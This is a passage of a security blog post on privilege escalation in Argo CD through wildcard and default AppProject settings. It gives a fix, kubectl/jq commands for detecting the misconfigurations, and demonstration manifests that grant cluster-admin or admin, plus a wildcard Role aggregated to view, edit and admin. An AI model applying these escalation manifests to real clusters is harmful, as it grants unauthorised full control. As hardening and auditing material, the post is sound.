&lt;p&gt;If you can use a project with a wildcard destination (either because it’s your own project, or because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sourceRepos&lt;/code&gt; also has wildcard), like this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argocd&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Example Project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sourceRepos&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://github.com/my-team/my-team-apps.git&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destinations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://kubernetes.default.svc&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This allows to deploy to any other namespace in the cluster, but directly doing so will be limited by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[cluster|namespace]Resource[White|Black]list&lt;/code&gt; configuration for the project. However if the cluster also stores the Argo CD &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; objects, then using those, one can deploy a new, super-permissive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; and use that to deploy anything. Moreover these can be deployed to any cluster managed by Argo CD, not only the cluster the original project could deploy to.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/2021/05/19/argo-cd-privesc-walkthrough/&quot;&gt;Click here for the complete walk through of this excercise.&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-default-appproject&quot;&gt;The default AppProject&lt;/h3&gt;

&lt;blockquote&gt;
  &lt;p&gt;Every application belongs to a single project. If unspecified, an application belongs to the default project, which is created automatically and by default, permits deployments from any source repo, to any cluster, and all resource Kinds. The default project can be modified, but not deleted. When initially created, it’s specification is configured to be the most permissive:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sourceRepos&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&apos;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destinations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&apos;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&apos;&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;clusterResourceWhitelist&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&apos;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;(&lt;a href=&quot;https://argoproj.github.io/argo-cd/user-guide/projects/#the-default-project&quot;&gt;Source: Argo Docs&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;I think at this point I don’t need to explain why this can lead to problems. Any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application&lt;/code&gt; can use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;default&lt;/code&gt; project and if the project isn’t changed, than the app can deploy anything to anywhere. Sweet!&lt;/p&gt;

&lt;details&gt;
&lt;summary&gt;Here is how to fix this&lt;/summary&gt;

Since the docs are clear that this project can&apos;t be deleted, the only way to fix it is to redefine with restricted permissions, e.g.


&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;c1&quot;&gt;# Every application belongs to a single project. If unspecified, an application belongs&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# to the default project, which is created automatically and by default, permits deployments&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# from any source repo, to any cluster, and all resource Kinds.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# https://argoproj.github.io/argo-cd/user-guide/projects/#the-default-project&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# As this can be used for privilege escalation, the project has to be restricted&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;AppProject&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;default&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;DO NOT USE! - Argo CD&apos;s default project&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;sourceRepos&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[]&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;destinations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;


&lt;/details&gt;

&lt;h2 id=&quot;kubectl-commands-to-help-find-these-misconfigurations&quot;&gt;kubectl commands to help find these misconfigurations&lt;/h2&gt;

&lt;p&gt;Run these commands against the cluster that has the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt; files, e.g.:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;kubectl config use-context infra&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;I’m using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--all-namespaces&lt;/code&gt; flag, but if you know the namespace where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppProject&lt;/code&gt;s are deployed (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;argocd&lt;/code&gt;), then you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-n argocd&lt;/code&gt; instead.&lt;/p&gt;

&lt;h4 id=&quot;only-clusterresourceblacklist-is-defined-without-clusterresourcewhitelist&quot;&gt;Only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clusterResourceBlacklist&lt;/code&gt; is defined without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clusterResourceWhitelist&lt;/code&gt;&lt;/h4&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;kubectl get AppProject &lt;span class=&quot;nt&quot;&gt;--all-namespaces&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; json | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.items[] | select(.spec.clusterResourceBlacklist != null) | select(.spec.clusterResourceWhitelist == null) | {name: .metadata.name, clusterResourceBlacklist: .spec.clusterResourceBlacklist}&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Of course if this returns &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;*&quot;&lt;/code&gt; that’s fine, but if it tries to list all the bad things, then you should take an other look.&lt;/p&gt;

&lt;h4 id=&quot;wildcard-sourcerepos&quot;&gt;Wildcard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sourceRepos&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;Only for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;*&quot;&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;kubectl get AppProject &lt;span class=&quot;nt&quot;&gt;--all-namespaces&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; json | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.items[] | select([.spec.sourceRepos[] == &quot;*&quot;] | any) | {name: .metadata.name, sourceRepos: .spec.sourceRepos}&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Any URL that contains &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt; (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/ourorg/*&lt;/code&gt;):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;kubectl get AppProject &lt;span class=&quot;nt&quot;&gt;--all-namespaces&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; json | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.items[] | select(.spec.sourceRepos[] | test(&quot;\\*&quot;)) | {name: .metadata.name, sourceRepos: .spec.sourceRepos}&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;(&lt;a href=&quot;https://stackoverflow.com/questions/25649960/how-to-select-items-in-jq-based-on-value-in-array&quot;&gt;jq pattern matching from SO&lt;/a&gt;)&lt;/p&gt;

&lt;h4 id=&quot;wildcard-destinations&quot;&gt;Wildcard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;destinations&lt;/code&gt;&lt;/h4&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;namespace&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;kubectl get AppProject &lt;span class=&quot;nt&quot;&gt;--all-namespaces&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; json | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.items[] | select([.spec.destinations[] | .namespace == &quot;*&quot;] | any) | {name: .metadata.name, destinations: .spec.destinations}&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;namespace&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; is sometimes used instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server&lt;/code&gt;):&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;kubectl get AppProject &lt;span class=&quot;nt&quot;&gt;--all-namespaces&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; json | jq &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;.items[] | select([.spec.destinations[] | .namespace == &quot;*&quot; or .server == &quot;*&quot; or .name == &quot;*&quot;] | any) | {name: .metadata.name, destinations: .spec.destinations}&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;example-yaml-files-to-use-for-demonstration&quot;&gt;Example yaml files to use for demonstration&lt;/h2&gt;

&lt;h3 id=&quot;give-me-cluster-admin-full-admin-over-the-entire-cluster&quot;&gt;Give me cluster-admin! (Full admin over the entire cluster)&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRoleBinding&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;roleRef&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRole&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;cluster-admin&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;subjects&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;User&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;oidc:johnsmith&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Group&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;oidc:security-team&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;admin-on-the-cluster-almost-as-good-as-cluster-admin&quot;&gt;Admin on the cluster (almost as good as cluster-admin)&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRoleBinding&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;roleRef&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRole&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;admin&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;subjects&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;User&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;oidc:johnsmith&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Group&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;oidc:security-team&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;admin-within-a-namespace&quot;&gt;Admin within a namespace&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;RoleBinding&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;roleRef&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Role&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;admin&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;subjects&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;User&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;oidc:johnsmith&lt;/span&gt;
  &lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Group&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;oidc:security-team&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;aggregate-to-view&quot;&gt;Aggregate to view&lt;/h3&gt;

&lt;p&gt;If you can’t create a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleBinding&lt;/code&gt;, but have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;view&lt;/code&gt; role already, try adding a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Role&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ClusterRole&lt;/code&gt; that &lt;a href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles&quot;&gt;aggregates to&lt;/a&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;view&lt;/code&gt;:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Role&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;default&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;labels&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;rbac.authorization.k8s.io/aggregate-to-admin&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;rbac.authorization.k8s.io/aggregate-to-edit&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;rbac.authorization.k8s.io/aggregate-to-view&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;true&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;apiGroups&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;verbs&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-yaml&quot; data-lang=&quot;yaml&quot;&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRole&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gotta-pwn-em-all&lt;/span&gt;
